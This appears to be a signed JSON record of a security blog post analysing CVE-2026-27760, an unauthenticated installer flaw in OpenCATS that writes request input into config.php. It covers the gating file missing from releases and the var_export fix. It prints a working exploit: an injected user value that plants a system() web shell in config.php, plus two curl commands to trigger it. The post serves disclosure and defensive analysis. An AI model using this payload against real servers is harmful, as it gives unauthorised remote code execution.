-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The installer writes attacker input as PHP source\n\nPre-patch, the `databaseConnectivity` branch of `modules/install/ajax/ui.php` is forty lines of straight-line code. Four of them are the bug that CVE-2026-27760 names.\n\n```php\ncase 'databaseConnectivity':\n if (isset($_REQUEST['user']))\n {\n if (isset($_REQUEST['user']) && !empty($_REQUEST['user']))\n {\n CATSUtility::changeConfigSetting('DATABASE_USER', \"'\" . $_REQUEST['user'] . \"'\");\n }\n\n if (isset($_REQUEST['pass']) && $_REQUEST['pass'] !== '')\n {\n CATSUtility::changeConfigSetting('DATABASE_PASS', \"'\" . $_REQUEST['pass'] . \"'\");\n }\n\n if (isset($_REQUEST['host']) && !empty($_REQUEST['host']))\n {\n CATSUtility::changeConfigSetting('DATABASE_HOST', \"'\" . $_REQUEST['host'] . \"'\");\n }\n\n if (isset($_REQUEST['name']) && !empty($_REQUEST['name']))\n {\n CATSUtility::changeConfigSetting('DATABASE_NAME', \"'\" . $_REQUEST['name'] . \"'\");\n }\n```\n\n`changeConfigSetting`, in `lib/CATSUtility.php`, opens `config.php`, walks the file line by line, and rewrites every line beginning with `define(''` using a `sprintf` template. The template is `\"define('%s', %s);\"`. The second `%s` is the second argument to `changeConfigSetting`, which the caller above has constructed as `\"'\" . $_REQUEST['user'] . \"'\"`.\n\n```php\n$newconfig[] = sprintf(\"define('%s', %s);\", $name, $value);\n```\n\nThere is no escape. The single quotes the caller wraps around `$_REQUEST['user']` are the only delimiter, and the destination is a PHP source file. A user value of `admin'); system($_GET['c']); //` produces the line:\n\n```php\ndefine('DATABASE_USER', 'admin'); system($_GET['c']); //');\n```\n\n`config.php` is loaded via `include_once('./config.php')` at the top of `ajax.php`, of `index.php`, of every script the OpenCATS webroot exposes. The injection is not transient. The injection runs on the next HTTP request to the application and on every request after that, until somebody overwrites the line.\n\nThe exploit for CVE-2026-27760 is a curl command. No authentication, no session, no CSRF token.\n\n```bash\ncurl -X POST 'https://target/ajax.php?f=install:databaseConnectivity' \\\n --data $'a=databaseConnectivity&user=admin\\'); system($_GET[\\'c\\']); //'\n\ncurl 'https://target/?c=id'\n```\n\n## The lock is a file every release ships without\n\nThe thing that keeps unauthenticated callers from reaching that endpoint, when it does keep them out, is one file on the filesystem. The installer module's own auth check sits at the top of `modules/install/ajax/ui.php`:\n\n```php\n/* Don't allow installation if ./INSTALL_BLOCK exists. */\nif (file_exists('INSTALL_BLOCK'))\n{\n echo '\n ';\n die();\n}\n```\n\nThe gate is a `file_exists` check against a literal string. If the file exists, the installer refuses. If it does not, the installer runs and writes whatever the request body asks it to write into `config.php`. The same file gates the wizard front-end at `installwizard.php` line 44:\n\n```php\nif (!file_exists('INSTALL_BLOCK') && !isset($_POST['performMaintenence']))\n```\n\nThat is the entirety of the auth design. No session, no token, no rate limit, no source-IP check. Either the file is on disk or it is not.\n\nThree facts about that file. They are independent and they compound.\n\nFirst, `INSTALL_BLOCK` is in `.gitignore`. It does not exist in the repository. Anyone cloning OpenCATS from source receives a tree whose installer is unlocked at `git clone` time.\n\n```\n$ cat .gitignore\nINSTALL_BLOCK\n...\n```\n\nSecond, the project's release packaging script explicitly excludes `INSTALL_BLOCK` from the distribution tarball and the distribution zip. From `ci/package-code.sh`:\n\n```bash\ntar -czf /tmp/opencats-$TRAVIS_TAG-full.tar.gz --exclude=INSTALL_BLOCK -C $TRAVIS_BUILD_DIR .\nzip -q -x INSTALL_BLOCK -r /tmp/opencats-$TRAVIS_TAG-full.zip $TRAVIS_BUILD_DIR\n```\n\nEvery release ships with the lock removed. The shape is deliberate. A fresh install needs an unlocked installer because the installer is how a fresh install proceeds. The packaging script encodes that requirement in the release artifact.\n\nThird, the wizard's own help text tells operators to delete `INSTALL_BLOCK` whenever they want to re-enter the installer. From `installwizard.php` line 415:\n\n> \"The installer has finished installing OpenCATS! The installer has been disabled to prevent unauthorized access. To run the installer again, delete the file 'INSTALL_BLOCK' in your OpenCATS directory.\"\n\nThe documented user instruction for \"I need to re-run the installer\" is \"go to the application directory and unlink the auth gate.\" Every documented re-installation scenario, every backup restore, every database swap, every \"I forgot the admin password and need to start over,\" begins with the operator deleting the file that prevents unauthenticated network callers from rewriting `config.php`.\n\nThe lock does not ship in the codebase. The lock does not ship in the tarball. The operator is instructed to remove the lock by name when they want to administer the application. The auth contract is \"do not be in any state we ever told you to be in.\"\n\n## `ajax.php` did not know the installer existed\n\nThe second half of commit `3002a29` lives in `ajax.php`, twenty-five lines added to the central AJAX dispatcher. Pre-patch, `ajax.php` was a general-purpose router. It read `_REQUEST['f']`, parsed it as `module:function`, and `include`d `modules//ajax/.php`. Any module. Any function. The dispatcher had no concept of installer state.\n\nThe patch teaches it one:\n\n```php\n$installerActive = (!file_exists('INSTALL_BLOCK'));\nif ($installerActive)\n{\n $module = '';\n if (strpos($_REQUEST['f'], ':') !== false)\n {\n $parameters = explode(':', $_REQUEST['f']);\n $module = preg_replace(\"/[^A-Za-z0-9]/\", \"\", $parameters[0]);\n }\n\n if ($module !== 'install')\n {\n header('Content-type: text/xml');\n echo '', \"\\n\";\n echo(\n \"\\n\" .\n \" -1\\n\" .\n \" Installer is active. Only installer AJAX actions are allowed.\\n\" .\n \"\\n\"\n );\n\n die();\n }\n}\n```\n\nThe pre-patch dispatcher would happily dispatch to `modules/candidates/ajax/edit.php`, to `modules/companies/ajax/delete.php`, to any other handler in the module tree, while `INSTALL_BLOCK` was absent. Those handlers' own logic might bail because no session existed, or might not. The dispatcher did not care. The dispatcher's only check on the routed file was that `is_readable($filename)` returned true.\n\nThe fix is a global guard on the installer-active state. The shape of the fix tells you the team realized that the installer module's own `if (file_exists('INSTALL_BLOCK'))` check, the one at the top of `ui.php`, was always doing somebody else's job. The check was inside the installer, looking outward. The state the check was guarding was a property of the whole application. The other half of the patch is the dispatcher learning that the property exists.\n\n## `var_export` was the answer the language already shipped\n\nThe third part of the patch is the rewrite from string concatenation to `var_export`. Eight call sites change in the same shape across `modules/install/ajax/ui.php`:\n\n```diff\n- CATSUtility::changeConfigSetting('DATABASE_USER', \"'\" . $_REQUEST['user'] . \"'\");\n+ CATSUtility::changeConfigSetting('DATABASE_USER', var_export($_REQUEST['user'], true));\n```\n\n`var_export($x, true)` returns a string representation of `$x` that is itself a valid PHP literal. A string with embedded single quotes comes back with the quotes escaped. A backslash comes back as two backslashes. The output is safe to drop into PHP source because the function's contract is that it always produces valid PHP source. It is the PHP equivalent of a prepared statement: the value crosses the source-language boundary through a function whose entire job is to keep the boundary intact.\n\n`var_export` landed in PHP 4.2.0. The release date was April 22, 2002. The `$Id` line stamped at the top of `modules/install/ajax/ui.php` was committed on December 5, 2007, five years and seven months after `var_export` was available in every PHP runtime the file would ever run on. The 2007 author wrote `\"'\" . $value . \"'\"` instead. The 2026 patch is one function call replacing that line, eight times.\n\nThe function the patch reaches for had been in the language for the entirety of the bug's lifetime. The bug was not that the right tool did not exist. The bug was that the original author treated PHP-source generation as ordinary string interpolation. Single quotes plus concatenation. The string was the value; the quotes were the type. Once the author had decided that was how to write a literal, every value the application would ever push through `changeConfigSetting` was an injection sink, and the only thing keeping the sink quiet was whether attackers could reach the writer.\n\nThis is the content-is-command shape stated at the source-language layer. Four HTTP POST parameters are the content channel. PHP is the interpreter, reading `config.php` on every request through `include_once`. The bridge is four characters of escape envelope (`\"'\" . $_ . \"'\"`) that assume the value belongs in single quotes and emit source that delimits it that way. PHP, given the resulting `define('DATABASE_USER', 'admin'); system($_GET['c']); //');`, does exactly what its spec says: one `define` call, one `system` call, one comment. The `var_export` rewrite is the codebase finally naming the boundary between content and command and reaching for the standard library function whose only job is to preserve it.\n\n## The execution path is `config.php`\n\nThis is also the unauth-write-to-execution-path pattern, with the execution path being the application's own configuration file. The exhibits in the catalog have so far been uploads directories: `wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/` for [Pix for WooCommerce CVE-2026-3891](/posts/pix-woocommerce-nonce-is-not-auth), `wp-content/cache/breeze-extra/gravatars/` for [Breeze Cache CVE-2026-3844](/posts/breeze-cache-cve-2026-3844-gravatar-fetcher-fetched-anything), and a webroot directory inside the MFT itself for [the CrushFTP and SAP NetWeaver instances](/posts/crushftp-pre-auth-mft-is-the-target). The architectural shape is identical: an unauthenticated POST, a write target the server executes from, no validation at the destination.\n\nOpenCATS does not need an uploads directory because the file the attacker writes is `config.php`. The application includes `config.php` at the top of every entry script. The write is surgical: the `changeConfigSetting` function only rewrites lines that start with `define('NAME'`. There is no file to upload, no extension to validate, no MIME type to confuse. The attacker delivers PHP code that runs on the next page load because the function whose entire job is to mutate `config.php` does so by writing PHP source. The \"execution path\" the pattern usually names is a directory the server scans. Here the execution path is a single file the server includes on every request, and the write target is one line inside it.\n\nThe closest sibling exhibit is [Nginx-UI CVE-2026-42238](/posts/nginx-ui-backup-signature-key-on-the-request). That post describes an auth gate that is \"a clock,\" reachable for ten minutes after process restart and on every fresh install. OpenCATS' gate is the same idea written in PHP and stored on disk: the auth check is \"are we still pre-install,\" and \"pre-install\" is a state the application keeps re-entering. Both products treat the bootstrap window as a privileged area that defends itself by its own scope. Both treat the artifact that signals \"bootstrap finished\" as a flag the operator maintains, not a credential the runtime holds. The shape of the failure is the same. The container of the flag (a clock for Nginx-UI, a file for OpenCATS) is the only thing different.\n\nPoC: [opencats/OpenCATS@3002a29](https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6).","closing_line":"The lock that gates OpenCATS' installer ships, by design, in the open position.","hook_md":"OpenCATS' installer is one AJAX endpoint that reads four POST parameters and writes them, by literal string concatenation, into the PHP source file that every entry point includes. The action is `install:databaseConnectivity`. The destination is `config.php`. The transformation is `sprintf(\"define('%s', %s);\", $name, \"'\" . $_REQUEST['user'] . \"'\")`. The pattern has been in `modules/install/ajax/ui.php` since the file's Subversion `$Id` line was stamped on 2007-12-05.\n\nThe gate that keeps unauthenticated network callers out of that endpoint is the existence of a file named `INSTALL_BLOCK` in the application root. `INSTALL_BLOCK` is in `.gitignore`. `INSTALL_BLOCK` is excluded from the release tarball. The wizard creates the file at the end of a successful install, and the wizard's own help text instructs administrators to delete it whenever they want to re-enter the installer.\n\nCVE-2026-27760 is what happens when the gate is the absence of a thing and the thing is the artifact every official release ships without.","post_id":266,"slug":"opencats-install-block-ships-removed","title":"CVE-2026-27760: OpenCATS' Install Lock Is a File Every Release Ships Without","type":"initial","unreadable_sentence":"The auth contract is \"do not be in any state we ever told you to be in.\""} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCarf8zwAKCRDeZjl4jgkQ JpajAP0QrU11S9MMxgalIwonryaynCAP+b/oW7R3cShAhwmtBwEA1erO7lpNElCt M54I3seWaeCUdOEicrn3/HboM1T2FQQ= =xl7/ -----END PGP SIGNATURE-----